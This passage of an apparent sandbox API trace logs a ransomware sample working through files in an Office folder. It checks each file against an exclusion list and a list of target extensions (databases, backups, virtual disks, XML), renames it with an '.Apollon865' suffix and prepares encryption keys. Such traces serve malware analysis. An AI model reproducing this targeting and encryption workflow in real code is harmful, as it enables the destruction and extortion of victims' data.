	[0068.873] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.873] lstrlenW (lpString="db3") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.873] lstrlenW (lpString="dbf") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.873] lstrlenW (lpString="mdf") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.873] lstrlenW (lpString="mdb") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.873] lstrlenW (lpString="sql") returned 3
	[0068.873] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.873] lstrlenW (lpString="sqlite") returned 6
	[0068.873] lstrcmpiW (lpString1="83.XML", lpString2="sqlite") returned -1
	[0068.873] lstrlenW (lpString="sqlite3") returned 7
	[0068.874] lstrcmpiW (lpString1="083.XML", lpString2="sqlite3") returned -1
	[0068.874] lstrlenW (lpString="sqlitedb") returned 8
	[0068.874] lstrcmpiW (lpString1="L083.XML", lpString2="sqlitedb") returned -1
	[0068.874] lstrlenW (lpString="xml") returned 3
	[0068.874] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.874] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML.Apollon865") returned 75
	[0068.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.876] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=36058) returned 1
	[0068.876] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.877] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.877] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.877] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.878] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fe0, lpName=0x0) returned 0x118
	[0068.881] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8fe0) returned 0x100000
	[0068.885] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.886] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.886] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0068.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0068.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.887] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0068.887] CloseHandle (hObject=0x118) returned 1
	[0068.887] CloseHandle (hObject=0x15c) returned 1
	[0068.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.887] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.887] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9141f00, ftCreationTime.dwHighDateTime=0x1c6d896, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9141f00, ftLastWriteTime.dwHighDateTime=0x1c6d896, nFileSizeHigh=0x0, nFileSizeLow=0xab732, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL086.XML", cAlternateFileName="")) returned 1
	[0068.887] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.887] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.887] lstrcmpiW (lpString1="PGLBL086.XML", lpString2=".") returned 1
	[0068.887] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="..") returned 1
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="windows") returned -1
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="bootmgr") returned 1
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="temp") returned -1
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="pagefile.sys") returned 1
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="boot") returned 1
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="ids.txt") returned 1
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="ntuser.dat") returned 1
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="perflogs") returned 1
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2="MSBuild") returned 1
	[0068.888] lstrlenW (lpString="PGLBL086.XML") returned 12
	[0068.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML") returned 64
	[0068.888] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL086.XML" | out: lpString1="PGLBL086.XML") returned="PGLBL086.XML"
	[0068.888] lstrlenW (lpString="PGLBL086.XML") returned 12
	[0068.888] lstrlenW (lpString="Apollon865") returned 10
	[0068.888] lstrcmpiW (lpString1="LBL086.XML", lpString2="Apollon865") returned 1
	[0068.888] lstrlenW (lpString=".dll") returned 4
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2=".dll") returned 1
	[0068.888] lstrlenW (lpString=".lnk") returned 4
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2=".lnk") returned 1
	[0068.888] lstrlenW (lpString=".ini") returned 4
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2=".ini") returned 1
	[0068.888] lstrlenW (lpString=".sys") returned 4
	[0068.888] lstrcmpiW (lpString1="PGLBL086.XML", lpString2=".sys") returned 1
	[0068.888] lstrlenW (lpString="PGLBL086.XML") returned 12
	[0068.888] lstrlenW (lpString="bak") returned 3
	[0068.888] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.888] lstrlenW (lpString="ba_") returned 3
	[0068.888] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.888] lstrlenW (lpString="dbb") returned 3
	[0068.888] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.888] lstrlenW (lpString="vmdk") returned 4
	[0068.888] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.888] lstrlenW (lpString="rar") returned 3
	[0068.888] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.888] lstrlenW (lpString="zip") returned 3
	[0068.888] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.888] lstrlenW (lpString="tgz") returned 3
	[0068.888] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.889] lstrlenW (lpString="vbox") returned 4
	[0068.889] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.889] lstrlenW (lpString="vdi") returned 3
	[0068.889] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.889] lstrlenW (lpString="vhd") returned 3
	[0068.889] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.889] lstrlenW (lpString="vhdx") returned 4
	[0068.889] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.889] lstrlenW (lpString="avhd") returned 4
	[0068.889] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.889] lstrlenW (lpString="db") returned 2
	[0068.889] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.889] lstrlenW (lpString="db2") returned 3
	[0068.889] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.889] lstrlenW (lpString="db3") returned 3
	[0068.889] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.889] lstrlenW (lpString="dbf") returned 3
	[0068.889] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.889] lstrlenW (lpString="mdf") returned 3
	[0068.889] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.889] lstrlenW (lpString="mdb") returned 3
	[0068.889] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.889] lstrlenW (lpString="sql") returned 3
	[0068.889] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.889] lstrlenW (lpString="sqlite") returned 6
	[0068.889] lstrcmpiW (lpString1="86.XML", lpString2="sqlite") returned -1
	[0068.889] lstrlenW (lpString="sqlite3") returned 7
	[0068.889] lstrcmpiW (lpString1="086.XML", lpString2="sqlite3") returned -1
	[0068.889] lstrlenW (lpString="sqlitedb") returned 8
	[0068.889] lstrcmpiW (lpString1="L086.XML", lpString2="sqlitedb") returned -1
	[0068.889] lstrlenW (lpString="xml") returned 3
	[0068.889] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.889] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML.Apollon865") returned 75
	[0068.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.892] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=702258) returned 1
	[0068.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.892] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.893] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.893] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.893] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaba40, lpName=0x0) returned 0x118
	[0068.894] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaba40) returned 0x4d0000
	[0068.925] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.925] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.926] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.926] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0068.932] CloseHandle (hObject=0x118) returned 1
	[0068.932] CloseHandle (hObject=0x15c) returned 1
	[0068.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.936] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d69800, ftCreationTime.dwHighDateTime=0x1c6bedf, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8d69800, ftLastWriteTime.dwHighDateTime=0x1c6bedf, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL087.XML", cAlternateFileName="")) returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2=".") returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="..") returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="windows") returned -1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="bootmgr") returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="temp") returned -1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="pagefile.sys") returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="boot") returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="ids.txt") returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="ntuser.dat") returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="perflogs") returned 1
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2="MSBuild") returned 1
	[0068.936] lstrlenW (lpString="PGLBL087.XML") returned 12
	[0068.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML") returned 64
	[0068.936] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL087.XML" | out: lpString1="PGLBL087.XML") returned="PGLBL087.XML"
	[0068.936] lstrlenW (lpString="PGLBL087.XML") returned 12
	[0068.936] lstrlenW (lpString="Apollon865") returned 10
	[0068.936] lstrcmpiW (lpString1="LBL087.XML", lpString2="Apollon865") returned 1
	[0068.936] lstrlenW (lpString=".dll") returned 4
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2=".dll") returned 1
	[0068.936] lstrlenW (lpString=".lnk") returned 4
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2=".lnk") returned 1
	[0068.936] lstrlenW (lpString=".ini") returned 4
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2=".ini") returned 1
	[0068.936] lstrlenW (lpString=".sys") returned 4
	[0068.936] lstrcmpiW (lpString1="PGLBL087.XML", lpString2=".sys") returned 1
	[0068.936] lstrlenW (lpString="PGLBL087.XML") returned 12
	[0068.936] lstrlenW (lpString="bak") returned 3
	[0068.936] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.936] lstrlenW (lpString="ba_") returned 3
	[0068.936] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.936] lstrlenW (lpString="dbb") returned 3
	[0068.936] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.936] lstrlenW (lpString="vmdk") returned 4
	[0068.937] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.937] lstrlenW (lpString="rar") returned 3
	[0068.937] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.937] lstrlenW (lpString="zip") returned 3
	[0068.937] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.937] lstrlenW (lpString="tgz") returned 3
	[0068.937] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.937] lstrlenW (lpString="vbox") returned 4
	[0068.937] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.937] lstrlenW (lpString="vdi") returned 3
	[0068.937] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.937] lstrlenW (lpString="vhd") returned 3
	[0068.937] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.938] lstrlenW (lpString="vhdx") returned 4
	[0068.938] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.938] lstrlenW (lpString="avhd") returned 4
	[0068.938] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.938] lstrlenW (lpString="db") returned 2
	[0068.938] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.938] lstrlenW (lpString="db2") returned 3
	[0068.938] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.938] lstrlenW (lpString="db3") returned 3
	[0068.938] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.938] lstrlenW (lpString="dbf") returned 3
	[0068.938] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.938] lstrlenW (lpString="mdf") returned 3
	[0068.938] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.938] lstrlenW (lpString="mdb") returned 3
	[0068.938] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.938] lstrlenW (lpString="sql") returned 3
	[0068.938] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.938] lstrlenW (lpString="sqlite") returned 6
	[0068.938] lstrcmpiW (lpString1="87.XML", lpString2="sqlite") returned -1
	[0068.938] lstrlenW (lpString="sqlite3") returned 7
	[0068.938] lstrcmpiW (lpString1="087.XML", lpString2="sqlite3") returned -1
	[0068.938] lstrlenW (lpString="sqlitedb") returned 8
	[0068.938] lstrcmpiW (lpString1="L087.XML", lpString2="sqlitedb") returned -1
	[0068.938] lstrlenW (lpString="xml") returned 3
	[0068.938] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.938] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML.Apollon865") returned 75
	[0068.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.940] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5080) returned 1
	[0068.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.942] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.942] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.942] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.943] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16e0, lpName=0x0) returned 0x118
	[0068.944] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16e0) returned 0x100000
	[0068.945] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.946] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.946] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0068.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0068.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.947] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0068.947] CloseHandle (hObject=0x118) returned 1
	[0068.947] CloseHandle (hObject=0x15c) returned 1
	[0068.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.947] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe893cd00, ftCreationTime.dwHighDateTime=0x1ca0904, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe893cd00, ftLastWriteTime.dwHighDateTime=0x1ca0904, nFileSizeHigh=0x0, nFileSizeLow=0xb532, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL089.XML", cAlternateFileName="")) returned 1
	[0068.947] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.947] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.947] lstrcmpiW (lpString1="PGLBL089.XML", lpString2=".") returned 1
	[0068.947] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="..") returned 1
	[0068.947] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="windows") returned -1
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="bootmgr") returned 1
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="temp") returned -1
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="pagefile.sys") returned 1
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="boot") returned 1
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="ids.txt") returned 1
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="ntuser.dat") returned 1
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="perflogs") returned 1
	[0068.948] lstrcmpiW (lpString1="PGLBL089.XML", lpString2="MSBuild") returned 1
	[0068.948] lstrlenW (lpString="PGLBL089.XML") returned 12
	[0068.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML") returned 64
	[0068.948] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL089.XML" | out: lpString1="PGLBL089.XML") returned="PGLBL089.XML"
	[0068.948] lstrlenW (lpString="PGLBL089.XML") returned 12
	[0068.948] lstrlenW (lpString="Apollon865") returned 10
	[0068.948] lstrcmpiW (lpString1="LBL089.XML", lpString2="Apollon865") returned 1
	[0068.948] lstrlenW (lpString=".dll") returned 4
